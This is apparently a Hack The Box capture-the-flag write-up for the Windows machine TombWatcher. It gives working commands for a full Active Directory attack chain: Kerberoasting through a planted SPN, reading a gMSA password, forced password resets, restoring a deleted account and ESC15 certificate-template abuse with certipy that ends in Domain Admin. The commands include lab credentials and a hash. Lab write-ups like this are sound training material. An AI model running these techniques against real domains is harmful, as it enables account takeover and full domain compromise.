TombWatcher

Windows
Medium
Active
07/06/2025
Machine Information
As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry
/ H3nry_987TGV!
$User_flag
Nmap Scan
sudo nmap -Pn -T4 -A -open -p- -sC -sV -oA nmap.txt 10.10.11.72
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-06 17:30:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-08-06T17:31:55+00:00; +4h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-06T17:31:54+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-08-06T17:31:55+00:00; +4h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-08-06T17:31:54+00:00; +4h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49681/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49683/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49717/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-08-06T17:31:15
|_ start_date: N/A
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 3h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 166.59 ms 10.10.16.1
2 166.87 ms 10.10.11.72
After some digging around and some tries with many ports , I realized BloodHound is the key to solving this box i loading BloodHound, the attack path from Henry was clear just everything was ready to hacked.
start with Shortest Paths to High Value Targets

The attack path was clear every user and group along the chain had the right privileges to reach the target.
Bloodhound 0x1
Started recon with BloodHound to enumerate all AD objects:
bloodhound-python -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -gc tomb-dc.tombwatcher.htb -ns 10.10.11.72 -c all --zip
This collects all information (users, groups, sessions, ACLs, etc.) and saves it in a zip file to analyze in the BloodHound GUI.

I found the that HENRY
has write access to the servicePrincipalName
of ALFRED
, which can be abused for Kerberoasting write permissions
Abuse SPN via LDAP Write Permissions
Create the .ldif file to add a fake SPN
dn: CN=ALFRED,CN=Users,DC=tombwatcher,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: fake/alfsvc
Add a fake SPN to
ALFRED
via LDAP.
ldapmodify -x -H ldap://10.10.11.72 -D "CN=HENRY,CN=Users,DC=tombwatcher,DC=htb" -w 'H3nry_987TGV!' -f add_spn.ldif
Request a TGS ticket for that SPN.
impacket-GetUserSPNs tombwatcher.htb/HENRY:'H3nry_987TGV!' -dc-ip 10.10.11.72 -request
Crack the TGS offline using
hashcat
orjohn
to getALFRED
's password.
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Once cracked, we got access to ALFRED
, moving one step closer to full domain compromise and continue with alfred
crednetials
We run BloodHound again after each new user because it updates our attack paths based on the new permissions and group memberships revealing new ways to escalate.
Bloodhound 0x2
Using Alfred’s credentials, we ran BloodHound again to uncover new attack paths from his perspective.
bloodhound-python -d tombwatcher.htb -u alfred -p 'basketball' -gc tomb-dc.tombwatcher.htb -ns 10.10.11.72 -c all --zip

From Alfred’s account, we had permission to add users to the INFRASTRUCTURE
group.
We used BloodyAD to add my Alfred to it:
bloodyAD --host '10.10.11.72' -d 'dc01.TOMBWATCHER.HTB' -u 'alfred' -p 'basketball' add groupMember 'INFRASTRUCTURE' alfred
[+] alfred added to INFRASTRUCTURE
This gave us the next step in our escacdlation path.
Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)
It means your machine's clock is out of sync with the domain controller and Kerberos hates that.
Fix it with:
sudo systemctl stop systemd-timesyncd
sudo ntpdate 10.10.11.72
This stops the system time service and manually syncs your clock with the DC (10.10.11.72
), so you can get Kerberos tickets properly again.
ReadGMSAPassword on ANSIBLE_DEV$
ANSIBLE_DEV$
After joining the INFRASTRUCTURE
group, we gained the ReadGMSAPassword
privilege on the Group Managed Service Account ANSIBLE_DEV$@TOMBWATCHER.HTB

ldeep ldap -d "dc01.tombwatcher.htb" -u "alfred" -p "basketball" -s ldaps://10.10.11.72 gmsa

We obtained the NTLM hash of the ansible_dev$
machine account, allowing us to proceed with the next step in our path attack.
Bloodhound 0x3
again and again and agian ...that is time with ansible_dev
bloodhound-python -u 'ansible_dev$' --hashes ':7bc5a56af89da4d3c03bc048055350f2' -d tombwatcher.htb -ns 10.10.11.72 -c All --zip

We discovered that ANSIBLE_DEV$@TOMBWATCHER.HTB
can reset SAM
's password without needing the current one.
ANSIBLE_DEV$ Change SAM's Password
python3 ~/Downloads/impacket/examples/changepasswd.py -dc-ip 10.10.11.72 -altuser ansible_dev$ -althash :7bc5a56af89da4d3c03bc048055350f2 -reset 'tombwatcher.htb/SAM@10.10.11.72'
When prompted, we set a new password for SAM:

now we could change the sam user password.
Bloodhound 0x4
This time with SAM
bloodhound-python -u 'sam' -p 'sam_pass' -d tombwatcher.htb -ns 10.10.11.72 -c All --zip

SAM Can Take Over JOHN
The user SAM@TOMBWATCHER.HTB
can change the owner of JOHN@TOMBWATCHER.HTB
.
ldap_shell tombwatcher.htb/SAM:sam_pass -dc-ip 10.10.11.72
# set_owner "CN=john,CN=Users,DC=tombwatcher,DC=htb"
# set_genericall "CN=john,CN=Users,DC=tombwatcher,DC=htb" sam
# change_password john NewPassword123!
[INFO] Detected insecure connection, attempting to start StartTLS...
[INFO] StartTLS successfully activated!
[INFO] Password changed successfully for "john"! New password: "NewPassword123!"
we can take Control of JOHN
and Requesting a TGT.

so what Next...
Now that we fully control JOHN@TOMBWATCHER.HTB
, we discovered he has the capability to create a PSRemote session with the Domain Controller DC01.TOMBWATCHER.HTB
This allows us to Enter an interactive PowerShell session on the DC

evil-winrm -i dc01.tombwatcher.htb -u john -p 'NewPassword123!'

#Root_flag
Let’s check if John has anything leading to Administrator. We found AD CS, which is good, but not enough , so we’ll look for deleted or unusual user accounts to investigate further.

Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects -Properties *

We found a deleted user, cert_admin
perfect. Let’s restore the account and run BloodHound again to explore new attack paths.
Restore-ADObject -Identity "CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb"

Now, we’ll use bloodyAD
to remove the ACCOUNTDISABLE
flag from cert_admin
, reactivating the account for use
bloodyAD -d tombwatcher.htb -u john -p 'NewPassword123!' --host 10.10.11.72 remove uac cert_admin -f ACCOUNTDISABLE
we’ll use bloodyAD
to set a new password for cert_admin
, giving us direct access to the account.
bloodyAD --host 10.10.11.72 -u john -p 'NewPassword123!' -d tombwatcher set password cert_admin HackTheBox
Let’s check if the cert_admin
account exists and is active.

Now, let’s check if there are any vulnerable certificate templates available for exploitation.
certipy find -u 'cert_admin' -p 'HackTheBox' -dc-ip '10.10.11.72' -vulnerable -text -enabled

let's exploit it using ESC15
ESC15: Vulnerable CT Abuse
Using the vulnerable WebServer
certificate template, we requested a certificate for administrator@tombwatcher.htb
certipy req \
-u 'cert_admin@tombwatcher.htb' -p 'HackTheBox' \
-dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-upn 'administrator@tombwatcher.htb' \
-application-policies 'Client Authentication'

authenticated with it, and reset the Administrator password .
certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell
gaining full Domain Admin access.

Thanks for Reading , see you in the next exploit!
Last updated